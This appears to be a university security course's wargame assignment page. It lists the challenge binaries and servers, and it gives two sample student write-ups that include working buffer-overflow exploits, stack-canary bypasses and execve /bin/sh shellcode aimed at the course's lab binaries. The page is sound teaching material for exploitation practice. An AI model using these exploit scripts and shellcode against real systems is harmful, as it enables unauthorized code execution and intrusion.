Now with ASLR
exams).
Due Date: 14 September 2018 23:59:59
Binaries:
https://cloudstor.aarnet.edu.au/plus/s/01o21KR2jOS...
Challenge Ref | Binary Name | Address |
buffer-4 |
shellz
|
wargames.6447.sec.edu.au:5004 |
canary-3 | stack-dump | wargames.6447.sec.edu.au:6003 |
format-3 | sploitwarz | wargames.6447.sec.edu.au:7003 |
nx-1 | piv_it | wargames.6447.sec.edu.au:8001 |
nx-2 | roproprop | wargames.6447.sec.edu.au:8002 |
nx-3 | swrop | wargames.6447.sec.edu.au:8003 |
nx-4 | static | wargames.6447.sec.edu.au:8004 |
misc-1 | simple | misc.6447.sec.edu.au:8005 |
misc-2 | egg |
misc.6447.sec.edu.au:8006
|
Same format as the mini-exam; reverse the binary; find the vulnerabillty, build an exploit and find the flag!
(All flags are stored in /flag)
ASLR is now on. A scoreboard is available at
https://ctf.6447.sec.edu.au
will be worth 5%.
wargame
containing the following for each challenge.
We are interested in proof that you understood the challenge and how to exploit them. This is not intended as a formal bug report.
We will be automarking your flag submission so please make sure you include your flag in your submission like Zac below.
Please keep your writeups concise and visually pretty. I will start taking marks off from your "following instructions" mark if your markup is too long or not concise enough. Please do not include commented lines that don't need to be there. You can think of this like "style marks" from your other subjects.
Here is an good example of what your writeup should look like. (With permission from Zac)
Jump =========================== General overview of problems faced ------------------------------------- Had to build python2 from source like 4 times to get pwntools and it's dependancies to behave List of vulnerabilities -------------------- 1. `gets(&buffer);` is used which will continue to read (and write) even if it overflows the 64 byte buffer Steps to exploit ------------------ 1. Get the win function address from the output of the binary 2. Fill the 64 byte buffer and then overwrite the return address at the end with the address of the win function Script/Command used ------------------ ``` python #!/usr/bin/env python from pwn import * r = remote('localhost', 5001) line = r.recvline().strip() # Since they so kindly give us the addr in the intro win_addr = line[line.find("0x"):] # Let's make use of that payload = "A"*64 + p32(int(win_addr, 0)) r.sendline(payload) r.interactive() ``` `dummy-flag{buffer-1}` Blind =========================== General overview of problems faced ------------------------------------- io seemed to mess up lots on this one, I couldn't get pwntools to work at all, nor could I print from python directly into the binary over netcat. List of vulnerabilities -------------------- 1. Text segment is non relocatable, so I could jump to win whenever I liked by overwriting the return address. Steps to exploit ------------------ 1. Find size of buffer using pwntools cyclic 2. Get address of win function with `objdump -d blind` 3. Fill buffer and write return addr at the end Script/Command used ------------------ ``` bash python -c 'from pwn import *; print( cyclic(76) + "\xcd\x84\x04\x08")' > payload cat payload - | nc localhost 5002 ``` `dummy-flag{buffer-2}` Runner =========================== General overview of problems faced ------------------------------------- I was fine getting a null terminated '/bin//sh' onto the stack, but from there I had no end of trouble. I couldn't get it to jump to system so I looked it up and apparently the convention is to call execve with the appropriate arguments. Since I already List of vulnerabilities -------------------- 1. Program runs user provided code, doesn't get more vuln than that. Steps to exploit ------------------ 1. Load arguments for execve, being careful to build \x00s by xoring. 2. Nop-pad out to 512 bytes because the program wants exactly that. 3. Profit Script/Command used ------------------ ``` python from pwn import * context.update(os = 'linux', arch = 'i386', bits = 32, aslr = False, endian = 'little') shellcode = asm(''' xor eax, eax push eax push 0x68732f2f push 0x6e69622f mov ebx, esp push eax mov edx, esp push ebx mov ecx, esp mov al, 11 int 0x80''') payload = asm('nop')*(512-len(shellcode)) + shellcode r = remote('localhost', 5003) r.send(payload) r.interactive() ``` Then `cat flag` gets us `dummy-flag{buffer-3}` Elitecanary =========================== General overview of problems faced ------------------------------------- This one was actually not too bad. Disassembling check_canary was all I had to do. List of vulnerabilities -------------------- 1. 'Canary' doesn't change, clearly visible in static analysis. Steps to exploit ------------------ 1. Observe '1337' being loaded in `mov DWORD PTR [eax],0x73333313` 2. Use cyclic for your fuzzing and then set a break point on strcmp for v.lazy buffer size guessing 3. Send super simple payload Script/Command used ------------------ ``` bash python -c 'print("A"*32 + "1337")' > elitecanary-payload cat elitecanary-payload - | nc localhost 6001 ``` `dummy-flag{canary-1}` Shellcrack =========================== General overview of problems faced ------------------------------------- Had to write a pwntools script to get the output as hex and then resend it with the payload. List of vulnerabilities -------------------- 1. DIY canary gets printed in intro greeting, written into user's buffer Steps to exploit ------------------ 1. Fuzz to figure out how far into the user's buffer the canary is being written 2. Catch canary as it's sent and incorporate into payload. 3. Nops-pad the payload and overwrite the return address to point back into our buffer (ty rwx) Script/Command used ------------------ ``` python #!/usr/bin/env python2 # -*- coding: utf-8 -*- from pwn import * shellcode = asm(''' xor eax, eax push eax push 0x68732f2f push 0x6e69622f mov ebx, esp push eax mov edx, esp push ebx mov ecx, esp mov al, 11 int 0x80''') io = connect('localhost', 6002) io.recvuntil('\n') name = "abcdefghABCDEFG" io.sendline(name) io.recvuntil('G\n') canary = io.recvuntil('!') print("Canary is {}".format(canary)) winaddr = "0xffffdda0" io.sendline(asm('NOP')*(48-len(shellcode)) + shellcode + canary + cyclic(18) + p32(int(winaddr, 0) + 10)) io.interactive() ``` `dummy-flag{canary-2}`
Here is another good example (With permission from Alex):
buffer-1 (jump) ====================== General Overview of problems faced ---------------------------- Had to work out the distance between the buffer and the variable where the address to jump to was stored (manual testing with the provided binary found that 64 buffer characters before the address achieved the desired result) Had to remember to reverse the bytes in the address, as it's stored in little-endian format My initial semi-working command would successfully jump to the win function, but as it closed stdout immediately after I would not be able to actually use the shell that was opened. wingz on slack suggested `( python blah ; cat - ) | nc blah` as a way to keep it open List of vulnerabilities ---------------------------- 1. The main function uses gets(), which is unsafe and allows overflow of any variables below it in the stack (including the function pointer that was being used immediately afterwards) Steps to exploit ---------------------------- 1. Enter a string with 64 buffer characters, followed by the bytes 0xd2 0x91 0x04 0x08 Script/Command used ---------------------------- ``` ( python -c "print('A'*64 + '\xd2\x91\x04\x08')" ; cat -) | nc localhost 5001 ``` buffer-2 (blind) ====================== General Overview of problems faced ---------------------------- Similar to buffer-2, with the only difference being that the address of the win function is not given (i.e. had to find the address of the win function by opening it in ida) The function that the code goes to after finishing the main function is no longer in a function pointer, but is just the return address, so finding the offset from the buffer to the return address was also needed (found by locally testing to find which lengths of string would cause the program to segfault) List of vulnerabilities ---------------------------- As in buffer-1 Steps to exploit ---------------------------- 1. Enter a string with 76 buffer characters, followed by the bytes 0xcd 0x84 0x04 0x08 Script/Command used ---------------------------- ``` ( python -c "print('A'*76 + '\xcd\x84\x04\x08')" ; cat -) | nc localhost 5002 ``` buffer-3 (runner) General Overview of problems faced ---------------------------- The program just runs whatever is given by stdin, so the problem was just creating shellcode Needed to learn how to write shellcode (by looking at shellcode generated by pwntools and writing my own somewhat simpler (but less robust) version based on it List of vulnerabilities ---------------------------- The program runs whatever is put into the buffer, allowing arbitrary code execution Steps to exploit ---------------------------- 1. Write a file containing shellcode (either the bytes directly or by writing the assembly and assembling it with a program) 2. enter the contents of that file into the prompt Script/Command used ---------------------------- The file with the assembly: ``` push 0x0068732f /* "/sh\0" */ push 0x6e68622f /* "/bin" */ mov ebx, esp /* get filename argument to point to the stack where we just put /bin/sh */ mov eax, SYS_execve /* syscall number */ xor ecx, ecx /* Don't need arguments */ xor edx, edx /* Don't care about environment */ int 0x80 /* start a syscall interrupt */ ``` ``` ( python -c "from pwn import *; text = open('shellcode.asm').read(); print(asm(text))" ; cat - ) | nc localhost 5003 ``` buffer-4 (shellz) General Overview of problems faced ---------------------------- Needed to overwrite the return address Needed to ensure that the value written to the return address resulted in the shellcode being run (achieved with a nop sled taking up most of the buffer) List of vulnerabilities ---------------------------- The program uses gets, which allows buffer overflow with no way to safeguard against it The stack itself (containing the buffer) is executable, so if the return address is overwritten to point to the stack, whatever was written in the buffer can be written Steps to exploit ---------------------------- 1. Write a file containing shellcode (done in buffer-3) 2. Enter a large number of text (generally '\x90' to make it easier to get the return address right) followed by the shellcode followed by the address of the buffer (at the return address) Script/Command used ---------------------------- ``` ( python -c "from pwn import *; text = open('shellcode.asm').read(); print('\x90' * 0x1900 + asm(text) + '\x90' + '\x90\xcb\xff\xff' * 0x200" ; cat -) | nc localhost 5004 ``` canary-1 (elitecanary) General Overview of problems faced ---------------------------- Needed to find the canary value that needed to be written (found by opening the binary in IDA) List of vulnerabilities ---------------------------- The program uses gets, which allows buffer overflow The program will automatically open a shell if the canary variable is set to the right value Steps to exploit ---------------------------- 1. Enter '1337' (the canary value) enough times to overwrite the canary variable Script/Command used ---------------------------- ``` ( python -c "print('1337'*10)" ; cat -) | nc localhost 6001 ``` canary-2 (shellcrack) General Overview of problems faced ---------------------------- Needed to find the canary value, in order to write it back Needed to set up a system to write and read to the server, while storing the responses (as the canary is not necessarily made of easily typeable characters) List of vulnerabilities ---------------------------- The program uses gets, which allows buffer overflow When asking for the name, the program uses fread, which will not null terminate the string if there is no null in the input data The stack is executable Steps to exploit ---------------------------- 1. Enter a string 16 characters long when asked for the name (to get rid of any null terminators that might already happen to exist in the buffer 2. When the name (+ canary) gets printed out, store that value to print later 3. print a nopsled + shellcode exactly 48 characters long (to get to the canary), then the saved canary value, then enough characters to get to the address of the return address, followed by the address of the buffer Script/Command used ---------------------------- ``` #!/usr/bin/python from pwn import * r = remote('localhost', 6002) r.recvline() r.send('a'*15 + '\n') r.recvline() response = r.recvline() shellcode = asm(open("shellcode.asm").read()) r.send('\x90'*(48-len(shellcode)) + shellcode + response[-11:-2] + 'A'*3 + '\x90\xdd\xff\xff' * 5 + '\n') r.interactive() ``` canary-3 (stack-dump) General Overview of problems faced ---------------------------- Needed to find the address of the canary value Needed to store the original canary value, to write it back when finished List of vulnerabilities ---------------------------- The program uses gets when asking for the length of the entered string, which allows buffer overflow The ability to read arbitrary memory allows for reading the canary without too much trouble Steps to exploit ---------------------------- 1. Receive the first two lines from the server, and remember the pointer from the second line 2. calculate the address of the canary by subtracting -0x6d and adding -0x4 (i.e. the canary address is the pointer - 0x4 + 0x6d) 3. Enter the address of the canary using the 'input data' option 4. Read the current canary value with the 'dump memory' option and store that 5. Select the 'input data' option, and in the 'length' field enter enough characters (0x60) to get from the buffer to the canary, then the original canary value, then the address of the win function a couple of times to overwrite the return address 6. select the 'quit' option, and the program will return from main into the win function, giving a shell Script/Command used ---------------------------- ``` # In interactive python from pwn import * r = remote('localhost', 6003) # To connect r.recvline() r.recvline() # Gets the useful pointer canary_ptr = # useful pointer + 0x6d - 0x4, written in reverse r.interactive() # To go through unnecessary text r.sendline('a') r.sendline('4') r.sendline(canary) r.recvline() # To get the canary value canary_val = # First 4 bytes from dump, in forward order r.sendline('a') r.sendline('A' * (0x64 - 0x4) + canary_val + '\xcd\x86\x04\x08' * 4) r.interactive() # just send 'd' to quit and the shell is yours ```
give cs6447 war3 war3.md
Late submissions incur a 0.5 mark penalty per day on the maximum possible mark you can get. Eg. If you submit 4 days late, and your raw mark is 2/5, then you will still receive 2/5. If you submit 4 days late, and your raw mark 5/5, your adjusted mark will be 3/5.
Resource created Wednesday 29 August 2018, 04:55:15 PM, last modified Sunday 02 September 2018, 01:17:54 PM.